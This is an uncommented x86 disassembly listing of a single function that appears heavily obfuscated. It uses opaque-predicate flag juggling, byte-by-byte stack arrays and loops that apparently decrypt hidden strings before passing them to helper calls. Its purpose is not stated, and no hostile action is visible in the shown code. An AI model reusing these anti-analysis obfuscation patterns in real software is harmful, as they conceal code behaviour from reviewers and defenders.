mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xc2c], 0x985a9576
jmp 0x100449b9
mov dword [ebp - 0x30], 0
jmp 0x100449e6
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x100449fc
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xc58], 5
jmp 0x100449df
mov dword [ebp - 0x30], 0
jmp 0x10044a0c
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10044a22
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xa74], 0xeddaad19
jmp 0x10044a05
push 0x2d90
lea eax, [ebp - 0x448]
push eax
push 1
call fcn.1004278c
add esp, 0xc
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xbc4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x920]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0xc2c]
sub eax, dword [ebp - 0x448]
jne 0x10044a72
mov dword [ebp - 0x608], 1
jmp 0x10044a79
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x468]
imul eax, dword [ebp - 0x608]
cmp dword [ebp - 0x240], eax
jle 0x10044a9a
mov dword [ebp - 0x928], 1
jmp 0x10044aa1
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0xbcc], eax
cmp dword [ebp - 0x758], 0
jl 0x10044acf
mov dword [ebp - 0x378], 1
jmp 0x10044ad6
and dword [ebp - 0x378], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x378]
mov dword [ebp + eax - 0xc2c], ecx
cmp dword [ebp - 0x378], 0x5f6f594a
jne 0x10044b01
mov dword [ebp - 0x450], 1
jmp 0x10044b08
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x380]
add eax, dword [ebp - 0x450]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xc58]
jl 0x10044b2f
mov dword [ebp - 0x6e8], 1
jmp 0x10044b36
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x930]
cmp eax, dword [ebp - 0x6e8]
jle 0x10044b50
mov dword [ebp - 0x458], 1
jmp 0x10044b57
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
sub eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x120]
jge 0x10044b77
mov dword [ebp - 0x610], 1
jmp 0x10044b7e
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
sub eax, dword [ebp - 0x938]
sub eax, dword [ebp - 0x240]
je 0x10044ba4
cmp dword [ebp - 0x380], 0
jne 0x10044ba4
and dword [ebp - 0x460], 0
jmp 0x10044bae
mov dword [ebp - 0x460], 1
mov eax, dword [ebp - 0x460]
dec eax
cmp eax, dword [ebp - 0x758]
jle 0x10044bc9
mov dword [ebp - 0x618], 1
jmp 0x10044bd0
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0x618], eax
je 0x10044bea
mov dword [ebp - 0x950], 1
jmp 0x10044bf1
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0xbd4], eax
imul eax, dword [ebp - 0x380], 0x60bd
test eax, eax
je 0x10044c20
cmp dword [ebp - 0x240], 0
je 0x10044c20
mov dword [ebp - 0x388], 1
jmp 0x10044c27
and dword [ebp - 0x388], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x388]
mov dword [ebp + eax - 0xa74], ecx
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x960], eax
jmp 0x1004495a
mov byte [ebp - 0x2c8], 6
mov byte [ebp - 0x2c7], 0x7a
mov byte [ebp - 0x2c6], 9
mov byte [ebp - 0x2c5], 1
mov byte [ebp - 0x2c4], 0
mov byte [ebp - 0x2c3], 1
mov byte [ebp - 0x2c2], 7
mov byte [ebp - 0x2c1], 7
mov byte [ebp - 0x2c0], 1
mov byte [ebp - 0x2bf], 3
mov byte [ebp - 0x2be], 3
mov byte [ebp - 0x2bd], 2
mov byte [ebp - 0x2bc], 4
mov byte [ebp - 0x2bb], 0xf
mov byte [ebp - 0x2ba], 0x2f
mov byte [ebp - 0x2b9], 0x35
mov byte [ebp - 0x2b8], 0xdf
mov byte [ebp - 0x2b7], 0x9b
mov byte [ebp - 0x2b6], 0x2a
mov byte [ebp - 0x2b5], 0x8c
mov byte [ebp - 0x2b4], 0x6c
mov byte [ebp - 0x2b3], 0x5c
mov byte [ebp - 0x2b2], 0x3d
mov byte [ebp - 0x2b1], 0xb2
mov byte [ebp - 0x2b0], 0xd8
mov byte [ebp - 0x2af], 0x92
mov byte [ebp - 0x2ae], 0xda
mov byte [ebp - 0x2ad], 0x7d
mov byte [ebp - 0x2ac], 0xc8
mov byte [ebp - 0x2ab], 0x28
mov byte [ebp - 0x2aa], 0xfd
mov byte [ebp - 0x2a9], 0x2a
mov byte [ebp - 0x2a8], 0xc4
mov byte [ebp - 0x2a7], 0xf0
mov byte [ebp - 0x2a6], 0xa9
mov byte [ebp - 0x2a5], 0xec
mov byte [ebp - 0x2a4], 0x2f
mov byte [ebp - 0x2a3], 0xf
mov byte [ebp - 0x2a2], 0x51
mov byte [ebp - 0x2a1], 0x16
mov byte [ebp - 0x2a0], 0x56
mov byte [ebp - 0x29f], 0x18
mov byte [ebp - 0x29e], 0
mov byte [ebp - 0x29d], 0xe8
mov byte [ebp - 0x29c], 0x8a
mov byte [ebp - 0x29b], 0x94
mov byte [ebp - 0x29a], 0xdf
mov byte [ebp - 0x299], 0xd3
mov byte [ebp - 0x298], 0xf9
mov byte [ebp - 0x297], 0xcc
mov byte [ebp - 0x296], 0x6f
mov byte [ebp - 0x295], 0x20
mov byte [ebp - 0x294], 0xb6
mov byte [ebp - 0x293], 0xf6
mov byte [ebp - 0x292], 0xfc
mov byte [ebp - 0x291], 0x51
mov byte [ebp - 0x290], 0xab
mov byte [ebp - 0x28f], 0x36
mov byte [ebp - 0x28e], 0xb8
mov byte [ebp - 0x28d], 0xbd
mov byte [ebp - 0x28c], 0xe1
mov byte [ebp - 0x28b], 0xe
mov byte [ebp - 0x28a], 2
mov byte [ebp - 0x289], 0xf
mov byte [ebp - 0x288], 5
mov byte [ebp - 0x287], 6
mov byte [ebp - 0x286], 8
mov byte [ebp - 0x285], 1
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x2c8]
or eax, 0x4b
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x2c8]
and ecx, 0x4b
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x2c8]
mov byte [ebp + ecx - 0x7d4], al
mov dword [ebp - 0x4c], 2
and dword [ebp - 0x1e8], 0
jmp 0x10044e78
mov eax, dword [ebp - 0x4c]
inc eax
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x44
jae 0x10044f2e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2c8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x4c], eax
jne 0x10044ec2
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x2c8]
inc eax
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x2c8]
mov ecx, dword [ebp - 0x4c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x4c], eax
jmp 0x10044e70
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x2c7]
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x1e8]
movzx ecx, byte [ebp + ecx - 0x2ca]
movsx ecx, byte [ebp + ecx - 0x7d4]
or eax, ecx
mov ecx, dword [ebp - 0x4c]
movzx ecx, byte [ebp + ecx - 0x2c7]
mov edx, dword [ebp - 0x4c]
sub edx, dword [ebp - 0x1e8]
movzx edx, byte [ebp + edx - 0x2ca]
movsx edx, byte [ebp + edx - 0x7d4]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x4c]
movzx ecx, byte [ebp + ecx - 0x2c8]
mov byte [ebp + ecx - 0x7d4], al
and dword [ebp - 0x1e8], 0
jmp 0x10044e70
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7d4], 0
lea eax, [ebp - 0x7d4]
push eax
lea ecx, [ebp - 0xd1c]
call fcn.10024127
mov dword [ebp - 0x914], eax
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x8d8], eax
and dword [ebp - 4], 0
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x8d8]
call fcn.1002f0d2
pop ecx
mov dword [ebp - 0x934], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd1c]
call fcn.10016818
mov dword [ebp - 0xb4], 0x86e871d9
mov dword [ebp - 0x480], 0x8cf5a8b0
mov dword [ebp - 0x250], 0
jmp 0x10044fb6
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x10044fd2
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0xa80], 0xfffffffc
jmp 0x10044fa9
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10044ff2
push 0x65ae
push 0
call fcn.10043228
pop ecx
pop ecx
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xb60], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xb68], eax
cmp dword [ebp - 0xb4], 0xffffffff
jle 0x1004501f
mov dword [ebp - 0x470], 1
jmp 0x10045026
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x470], eax
jle 0x10045047
push 4
pop eax
test eax, eax
je 0x10045047
mov dword [ebp - 0x6f0], 1
jmp 0x1004504e
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x6f0], eax
je 0x10045068
mov dword [ebp - 0x478], 1
jmp 0x1004506f
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x478]
jle 0x10045089
mov dword [ebp - 0x620], 1
jmp 0x10045090
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0x620]
mov dword [ebp - 0x480], eax
imul eax, dword [ebp - 0x480], 0x6fe6
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xa80], eax
and dword [ebp - 0x1f0], 0
jmp 0x100450d0
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xb
jae 0x100450e9
mov eax, dword [ebp - 0x1f0]
mov byte [ebp + eax - 0x7d4], 0
jmp 0x100450c3
mov dword [ebp - 0x488], 0xe0a8eac8
mov dword [ebp - 0x774], 0xfffffff8
mov dword [ebp - 0x864], 0x14fa
lea eax, [ebp - 0x488]
push eax
push 1
lea eax, [ebp - 0x774]
push eax
call fcn.1004280c
add esp, 0xc
push 0x50df
lea eax, [ebp - 0x864]
push eax
lea eax, [ebp - 0x774]
push eax
push 1
lea eax, [ebp - 0x488]
push eax
call fcn.10042876
add esp, 0x14
mov dword [ebp - 0x14], 0xf57a7c2
mov dword [ebp - 0x80], 0x997ec53a
mov dword [ebp - 0x3ac], 0xd1456014
mov dword [ebp - 0x8c], 0
jmp 0x10045174
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x10045190
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x1a8], 0x77862fd4
jmp 0x10045167
mov dword [ebp - 0x8c], 0
jmp 0x100451a9
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x100451c5
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x2d0], 4
jmp 0x1004519c
mov dword [ebp - 0x14], 2
jmp 0x100451d5
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x10045341
mov dword [ebp - 0xac], 0xc62e0897
mov dword [ebp - 0x490], 0xefcdf11b
mov dword [ebp - 0x8e0], 0xfffe
mov dword [ebp - 0x840], 1
mov dword [ebp - 0xac], 0
jmp 0x10045220
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x1004523c
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x1a8], 0x666a756a
jmp 0x10045213
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1a8], 0
je 0x1004527f
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x628], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x628]
mov dword [ebp + eax - 0x2d0], ecx
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x628]
je 0x1004527f
mov dword [ebp - 0x830], 1
jmp 0x10045286
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
cmp dword [ebp - 0x490], eax
jne 0x100452b4
mov dword [ebp - 0x924], 1
jmp 0x100452bb
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xc0c], eax
xor eax, eax
jne 0x100452e1
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1a8], 0
jne 0x100452e1
and dword [ebp - 0x838], 0
jmp 0x100452eb
mov dword [ebp - 0x838], 1
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x9fc], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
mov dword [ebp - 0xb20], eax
mov eax, dword [ebp - 0x840]
mov dword [ebp - 0xa04], eax
xor eax, eax
inc eax
cmp eax, 0x5daa
je 0x10045329
mov dword [ebp - 0x6f8], 1
jmp 0x10045330
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0xac], eax
jmp 0x100451ce
mov dword [ebp - 0x14], 0
jmp 0x10045351
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x1004573d
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
mov dword [ebp - 0xba8], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1a8], ecx
je 0x10045386
mov dword [ebp - 0x4a0], 1
jmp 0x1004538d
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
mov ecx, dword [ebp - 0x14]
add eax, dword [ebp + ecx*4 - 0x1a8]
mov ecx, dword [ebp - 0x14]
cmp eax, dword [ebp + ecx*4 - 0x1a8]
jne 0x100453b9
mov dword [ebp - 0x498], 1
jmp 0x100453c0
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x498]
jne 0x100453d7
mov dword [ebp - 0x39c], 1
jmp 0x100453de
and dword [ebp - 0x39c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x39c]
mov dword [ebp + eax - 0x2d0], ecx
cmp dword [ebp - 0x39c], 0xffffffff
jge 0x10045406
mov dword [ebp - 0x630], 1
jmp 0x1004540d
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
inc eax
cmp eax, 0xffffffff
jg 0x10045425
mov dword [ebp - 0x760], 1
jmp 0x1004542c
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x4a0]
cmp eax, dword [ebp - 0x760]
jge 0x10045446
mov dword [ebp - 0x95c], 1
jmp 0x1004544d
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
mov dword [ebp - 0xa0c], eax
mov dword [ebp - 0x80], 1
mov eax, 0x908fbded
test eax, eax
je 0x1004549d
push 0x5c2d
push 0
call fcn.1004337a
pop ecx
pop ecx
mov byte [ebp - 0xd1], 0
lea eax, [ebp - 0xd1]
push eax
push 0x2fdb
push 1
call fcn.10042af4
add esp, 0xc
jmp 0x10045727
mov dword [ebp - 0x9c], 0
jmp 0x100454b6
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x100454d2
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x9d4], 0x1081
jmp 0x100454a9
mov dword [ebp - 0x9c], 0
jmp 0x100454eb
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x10045507
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xa8c], 1
jmp 0x100454de
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1a8]
mov dword [ebp - 0xb28], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2d0], 0
jne 0x1004553f
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9d4], 0
jne 0x1004553f
and dword [ebp - 0x4a8], 0
jmp 0x10045549
mov dword [ebp - 0x4a8], 1
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x3ac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9d4]
cmp dword [ebp - 0x3ac], eax
jge 0x10045576
mov dword [ebp - 0x638], 1
jmp 0x1004557d
and dword [ebp - 0x638], 0
cmp dword [ebp - 0x638], 0x132e
jne 0x10045595
mov dword [ebp - 0x4b0], 1
jmp 0x1004559c
and dword [ebp - 0x4b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9d4]
cmp eax, dword [ebp - 0x4b0]
jne 0x100455bd
mov dword [ebp - 0x3a4], 1
jmp 0x100455c4
and dword [ebp - 0x3a4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp + eax - 0xa8c], ecx
cmp dword [ebp - 0x3a4], 1
jle 0x100455ec
mov dword [ebp - 0x700], 1
jmp 0x100455f3
and dword [ebp - 0x700], 0
cmp dword [ebp - 0x700], 0xfffffffb
jne 0x10045608
mov dword [ebp - 0x4b8], 1
jmp 0x1004560f
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4b8], eax
jl 0x10045626
mov dword [ebp - 0x640], 1
jmp 0x1004562d
and dword [ebp - 0x640], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1a8]
cmp dword [ebp - 0x640], eax
jl 0x1004564d
mov dword [ebp - 0x4c0], 1
jmp 0x10045654
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x4c0]
sub ecx, dword [ebp + eax*4 - 0x1a8]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2d0], ecx
mov dword [ebp - 0x80], 0
jmp 0x10045681
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jg 0x10045727
mov dword [ebp - 0x4c8], 0x8d581ca9
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0x2d0]
mov ecx, dword [ebp - 0x80]
sub eax, dword [ebp + ecx*4 - 0x2d0]
mov ecx, dword [ebp - 0x80]
cmp eax, dword [ebp + ecx*4 - 0x2d0]
jle 0x100456c1
mov dword [ebp - 0x648], 1
jmp 0x100456c8
and dword [ebp - 0x648], 0
cmp dword [ebp - 0x4c8], 0xfffffffd
ja 0x100456dd
mov dword [ebp - 0x77c], 1
jmp 0x100456e4
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x3ac]
imul eax, dword [ebp - 0x77c]
sub eax, dword [ebp - 0x4c8]
jne 0x10045705
mov dword [ebp - 0x4d0], 1
jmp 0x1004570c
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x648]
add eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x80]
mov dword [ebp + ecx*4 - 0x2d0], eax
jmp 0x1004567a
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1a8], 0
je 0x10045738
jmp 0x1004573d
jmp 0x1004534a
mov byte [ebp - 0x344], 1
mov byte [ebp - 0x343], 0x33
mov byte [ebp - 0x342], 4
mov byte [ebp - 0x341], 2
mov byte [ebp - 0x340], 0x5d
mov byte [ebp - 0x33f], 0xad
mov byte [ebp - 0x33e], 5
mov byte [ebp - 0x33d], 0x4a
mov byte [ebp - 0x33c], 0x91
mov byte [ebp - 0x33b], 0x3f
mov byte [ebp - 0x33a], 0x92
mov byte [ebp - 0x339], 0x22
mov byte [ebp - 0x338], 0x37
mov byte [ebp - 0x337], 0x4e
mov byte [ebp - 0x336], 0xe4
mov byte [ebp - 0x335], 0xbc
mov byte [ebp - 0x334], 0x14
mov byte [ebp - 0x333], 0x12
mov byte [ebp - 0x332], 0xce
mov byte [ebp - 0x331], 0xe9
mov byte [ebp - 0x330], 0x1a
mov byte [ebp - 0x32f], 0xe1
mov byte [ebp - 0x32e], 0xa3
mov byte [ebp - 0x32d], 0xf3
mov byte [ebp - 0x32c], 0xeb
mov byte [ebp - 0x32b], 0x90
mov byte [ebp - 0x32a], 0xe7
mov byte [ebp - 0x329], 0x10
mov byte [ebp - 0x328], 0x56
mov byte [ebp - 0x327], 0x24
mov byte [ebp - 0x326], 0x7d
mov byte [ebp - 0x325], 0xf1
mov byte [ebp - 0x324], 0x72
mov byte [ebp - 0x323], 0xfb
mov byte [ebp - 0x322], 0xc
mov byte [ebp - 0x321], 0xa4
mov byte [ebp - 0x320], 0x62
mov byte [ebp - 0x31f], 0xaf
mov byte [ebp - 0x31e], 0x23
mov byte [ebp - 0x31d], 0xac
mov byte [ebp - 0x31c], 0x3c
mov byte [ebp - 0x31b], 0x4a
mov byte [ebp - 0x31a], 0xe3
mov byte [ebp - 0x319], 0x1b
mov byte [ebp - 0x318], 0x21
mov byte [ebp - 0x317], 0xa8
mov byte [ebp - 0x316], 0xb6
mov byte [ebp - 0x315], 0x8d
mov byte [ebp - 0x314], 0x90
mov byte [ebp - 0x313], 0x14
mov byte [ebp - 0x312], 0x3c
mov byte [ebp - 0x311], 0xcb
mov byte [ebp - 0x310], 0xd3
mov byte [ebp - 0x30f], 0x74
mov byte [ebp - 0x30e], 0x22
mov byte [ebp - 0x30d], 0xfa
mov byte [ebp - 0x30c], 0x49
mov byte [ebp - 0x30b], 0x19
mov byte [ebp - 0x30a], 0x7b
mov byte [ebp - 0x309], 0xf
mov byte [ebp - 0x308], 0xca
mov byte [ebp - 0x307], 9
mov byte [ebp - 0x306], 0xb5
mov byte [ebp - 0x305], 0xfe
mov byte [ebp - 0x304], 0xef
mov byte [ebp - 0x303], 0x53
mov byte [ebp - 0x302], 0xeb
mov byte [ebp - 0x301], 0xdf
mov byte [ebp - 0x300], 0xfe
mov byte [ebp - 0x2ff], 0xc4
mov byte [ebp - 0x2fe], 0x14
mov byte [ebp - 0x2fd], 0xed
mov byte [ebp - 0x2fc], 0xb7
mov byte [ebp - 0x2fb], 0x96
mov byte [ebp - 0x2fa], 0xd4
mov byte [ebp - 0x2f9], 0x97
mov byte [ebp - 0x2f8], 0x63
mov byte [ebp - 0x2f7], 0xd8
mov byte [ebp - 0x2f6], 0x7a
mov byte [ebp - 0x2f5], 0xaa
mov byte [ebp - 0x2f4], 0xba
mov byte [ebp - 0x2f3], 0x47
mov byte [ebp - 0x2f2], 0xe2
mov byte [ebp - 0x2f1], 0xac
mov byte [ebp - 0x2f0], 0x19
mov byte [ebp - 0x2ef], 0x42
mov byte [ebp - 0x2ee], 0x4b
mov byte [ebp - 0x2ed], 0xf1
mov byte [ebp - 0x2ec], 0x16
mov byte [ebp - 0x2eb], 0x18
mov byte [ebp - 0x2ea], 0x5e
mov byte [ebp - 0x2e9], 0x11
mov byte [ebp - 0x2e8], 0xe9
mov byte [ebp - 0x2e7], 0x59
mov byte [ebp - 0x2e6], 0x6f
mov byte [ebp - 0x2e5], 0x39
mov byte [ebp - 0x2e4], 0x49
mov byte [ebp - 0x2e3], 0xe3
mov byte [ebp - 0x2e2], 0
mov byte [ebp - 0x2e1], 5
mov byte [ebp - 0x2e0], 9
mov byte [ebp - 0x2df], 1
mov byte [ebp - 0x2de], 8
mov byte [ebp - 0x2dd], 0
mov byte [ebp - 0x2dc], 5
mov byte [ebp - 0x2db], 1
mov byte [ebp - 0x2da], 2
mov byte [ebp - 0x2d9], 6
mov byte [ebp - 0x2d8], 6
mov byte [ebp - 0x2d7], 0xe
mov byte [ebp - 0x2d6], 7
mov byte [ebp - 0x2d5], 0xf
mov byte [ebp - 0x2d4], 3
mov byte [ebp - 0x2d3], 4
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x344]
or eax, 5
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x344]
and ecx, 5
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x344]
mov byte [ebp + ecx - 0x7bc], al
mov dword [ebp - 0x20], 2
and dword [ebp - 0x194], 0
jmp 0x10045aac
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x72
jae 0x10045b8a
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x344]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10045af6
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x344]
inc eax
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x344]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x10045aa4
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x343]
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x194]
movzx ecx, byte [ebp + ecx - 0x346]
movsx ecx, byte [ebp + ecx - 0x7bc]
add eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x343]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x194]
movzx edx, byte [ebp + edx - 0x346]
movsx edx, byte [ebp + edx - 0x7bc]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x343]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x194]
movzx edx, byte [ebp + edx - 0x346]
movsx edx, byte [ebp + edx - 0x7bc]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x344]
mov byte [ebp + ecx - 0x7bc], al
and dword [ebp - 0x194], 0
jmp 0x10045aa4
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7bc], 0
lea eax, [ebp - 0x7bc]
push eax
lea ecx, [ebp - 0xcec]
call fcn.10024127
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 4], 1
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x8e8]
call fcn.1002f0d2
pop ecx
mov dword [ebp - 0x870], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcec]
call fcn.10016818
mov dword [ebp - 0x174], 0xffffffff
mov dword [ebp - 0xa4], 1
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x3a8], 0xff1eb7e5
mov dword [ebp - 0x4f8], 0xffffffff
mov dword [ebp - 0x258], 0
jmp 0x10045c33
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 2
jge 0x10045c4f
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0xa98], 0
jmp 0x10045c26
mov dword [ebp - 0x174], 0
jmp 0x10045c68
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0xb
jg 0x10045ec1
mov dword [ebp - 0x8f0], 0x57e71f09
mov dword [ebp - 0x7c], 0
jmp 0x10045c8f
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x10045ca5
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x8b0], 0x1e2c0d37
jmp 0x10045c88
mov dword [ebp - 0x7c], 0
jmp 0x10045cb5
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x10045ccb
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x990], 0
jmp 0x10045cae
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x10045ceb
push 1
push 0x7a06
call fcn.10042b3f
